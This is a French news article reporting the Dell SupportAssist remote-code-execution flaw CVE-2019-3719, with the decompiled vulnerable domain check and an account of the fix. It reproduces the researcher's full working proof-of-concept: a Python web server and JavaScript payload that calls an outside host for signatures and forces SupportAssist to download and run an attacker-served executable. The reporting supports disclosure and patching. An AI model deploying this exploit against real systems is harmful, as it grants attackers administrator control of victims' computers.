Une faille RCE affecte la plupart les ordinateurs de marque DELL qui tournent sous Windows
D’après les révélations d'un chercheur en sécurité
Le chercheur en sécurité Bill Demirkapi est l’auteur de la trouvaille qui a eu lieu au courant du mois d’octobre de l’année dernière. Il pointe une vulnérabilité dans Dell SupportAssist – un soft est utile pour le diagnostic, la mise à jour automatique des pilotes des machines et pour l’envoi de données y relatives vers des serveurs DELL pour les besoins de dépannage.
Le nombre d'utilisateurs impactés est en principe très élevé, car l'outil SupportAssist est l'une des applications que Dell préinstalle sur tous les portables et Desktops Dell livrés par l'entreprise avec un système d'exploitation Windows. Les systèmes vendus sans OS ne sont pas affectés.
Demirkapi a découvert que SupportAssist est une espèce de client .Net en communication avec un serveur au travers d’un port dont le numéro varie en fonction de celui disponible sur le système (le chercheur liste les ports 8884, 8883, 8886 et 8885). En s’appuyant sur une ingénierie inverse du code de l’outil, il a pu mettre à nu un certain nombre de failles : primo, au sein d’une fonction de gestion du referrer appelée par celle de base du service – ClientServiceHandler.ProcessRequest. « ProcessRequest appelle la fonction suivante pour s’assurer que je suis de Dell », commente le chercheur. Ci-dessous, le code de la fonction à problème.
Code C# : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11 // Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0 public static bool ValidateDomain(Uri request, Uri urlReferrer) { return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) && request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http"); } // Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124 public static bool ValidateDomain(string domain) { return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com"); }
De l’analyse de code menée par le chercheur en sécurité, il ressort qu’un tiers malveillant peut, à l’aide d’une technique de redirection vers un site pirate (DNS spoofing), s’appuyer sur son propre serveur pour détourner des requêtes issues d’adresses similaires à [aléatoire].dell.com. Demirkapi s’est appuyé sur ce fait pour mettre au point une preuve de concept dont il a publié le code et une vidéo. L’attaque s’appuie sur un leurre qui redirige la victime sur une page web mise au point en conséquence. Le code JavaScript en arrière-plan de cette dernière trompe ensuite l’outil Dell SupportAssist pour qu’il télécharge et exécute des fichiers depuis un emplacement contrôlé par l’attaquant (dans le jargon du domaine, on parle d’exécution de code à distance ou d’attaque RCE). Ce dernier bénéficie ensuite d’un accès complet à l’ordinateur de la victime puisque l’outil tourne avec les droits d’administrateur.
Code python : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125 from aiohttp import web import asyncio import string import random from threading import Thread filename = "" PAYLOAD = '''<script>var signatures = null; var ports = [8884, 8883, 8886, 8885]; var server_port = 0; function SendRequest(url) { var x = new XMLHttpRequest(); x.open("GET", url, false); //x.timeout = 3500; x.send(null); return {status: x.status, text: x.responseText}; } function SendAsyncRequest(url, callback) { var x = new XMLHttpRequest(); x.open("GET", url, true); x.onreadystatechange = callback; //x.timeout = 3500; x.send(null); return {status: x.status, text: x.responseText}; } function InitializeSignatures() { var signature_url = "https://bills-sandbox.000webhostapp.com/GetDellSignatures.php"; var response = SendRequest(signature_url); if(response.status == 200) { signatures = JSON.parse(response.text); } else { // fuck this shouldn't happen console.log("fuck"); } } function FindServer() { ports.forEach(function(port) { var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken; var response = SendAsyncRequest(is_alive_url, function(){server_port = port;}); }); } function guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } function SendRCEPayload() { var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken; var xmlhttp = new XMLHttpRequest(); // new HttpRequest instance xmlhttp.open("POST", auto_install_url, true); var files = []; files.push({ "title": "SupportAssist RCE", "category": "Serial ATA", "name": "calc.EXE", "location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY "isSecure": false, "fileUniqueId": guid(), "run": true, "installOrder": 2, "restricted": false, "fileStatus": -99, "driverId": "FXGNY", "dupInstallReturnCode": 0, "cssClass": "inactive-step", "isReboot": false, "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10", "$$hashKey": "object:210"}); xmlhttp.send(JSON.stringify(files)); } function GetClientSystemInfo() { var signature = signatures.ClientSystemInfoToken; var expires = signatures.Expires; var system_info_url = "http://127.0.0.1:" + server_port + "/clientservice/getclientsysteminfo?expires=" + signatures.Expires + "&signature=" + signatures.ClientSystemInfoToken + "&includeServiceTag=true&includeHealthInfo=true&includeCurrentsystemConfig=true"; SendAsyncRequest(system_info_url, function(){ console.log(this.responseText);}); } var port_timer; function onFindPort() { clearTimeout(port_timer); SendRCEPayload(); } InitializeSignatures(); FindServer(); port_timer = setTimeout(function(){if(server_port != 0){onFindPort()}}, 200);</script><h1>CVE-2019-3719</h1>''' def id_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def handle(request): global filename global PAYLOAD if request.headers["Host"] is not None: if "downloads.dell.com" in request.headers["Host"]: print("[+] Exploit binary requested.") return web.FileResponse(filename) elif "dell.com" in request.headers["Host"]: print("[+] Exploit payload requested.") return web.Response(text=PAYLOAD, headers={'Content-Type': 'text/html'}) redirect_url = "http://dellrce.dell.com" return web.HTTPFound(redirect_url) class WebServer: def __init__(self, payload_filename): global filename filename = payload_filename self.loop = asyncio.get_event_loop() app = web.Application(debug=True) app.add_routes([web.get('/{a:.*}', handle)]) handler = app.make_handler() self.server = self.loop.create_server(handler, host='0.0.0.0', port=80) self.server_thread = Thread(target=self.server_handler, args=(self,)) self.server_thread.start() print("[+] Webserver started.") def server_handler(self, arg): self.loop.run_until_complete(self.server) self.loop.run_forever()
« Un attaquant non authentifié, partageant la couche d'accès réseau avec le système vulnérable, peut compromettre le système vulnérable en incitant un utilisateur à télécharger et exécuter des exécutables arbitraires via le client SupportAssist à partir de sites hébergés par l'attaquant », indique DELL sur l’avis de sécurité relatif à cette vulnérabilité.
La condition de partage de la couche d’accès réseau semble difficile à réaliser mais, après analyse, ne relève pas de l’impossible. Deux scénarios dans lesquels l'attaque pourrait fonctionner incluent les réseaux WiFi publics ou les réseaux de grandes entreprises où il y a au moins une machine compromise qui peut être utilisée pour lancer des attaques ARP et DNS contre les systèmes Dell voisins utilisant l'outil SupportAssist. Un autre scénario plausible est celui où des pirates informatiques parviennent à compromettre le routeur WiFi local des utilisateurs puis à modifier le trafic DNS directement sur le routeur.
Dell a mis à jour le logiciel SupportAssist fin avril 2019 à la suite d'un rapport initial reçu de Bill Demirkapi le 10 octobre 2018. L'entreprise recommande à tous ses clients de mettre à jour SupportAssist Client dès que possible, étant donné que toutes les versions antérieures à 3.2.0.90 et ultérieures sont vulnérables aux attaques d'exécution de code à distance.
Sources : billet de blog Demirkapi, avis de sécurité DELL, GitHub
Et vous ?
Qu’en pensez-vous ?
Quelle alternative à des systèmes similaires à Dell SupportAssist proposez-vous pour le maintien à jour d’un poste de travail sans s’exposer aux risques mentionnés ?
Voir aussi :
Un étudiant gagne plus de 36 000 $ après avoir rapporté une vulnérabilité critique à Google pouvant entraîner une exécution de code à distance
Des chercheurs découvrent une vulnérabilité dans des véhicules de Volkswagen et sa filiale Audi qui permet de lancer des attaques à distance
Des chercheurs découvrent une vulnérabilité d'exécution de code à distance dans SQLite affectant les navigateurs basés sur Chromium
Partager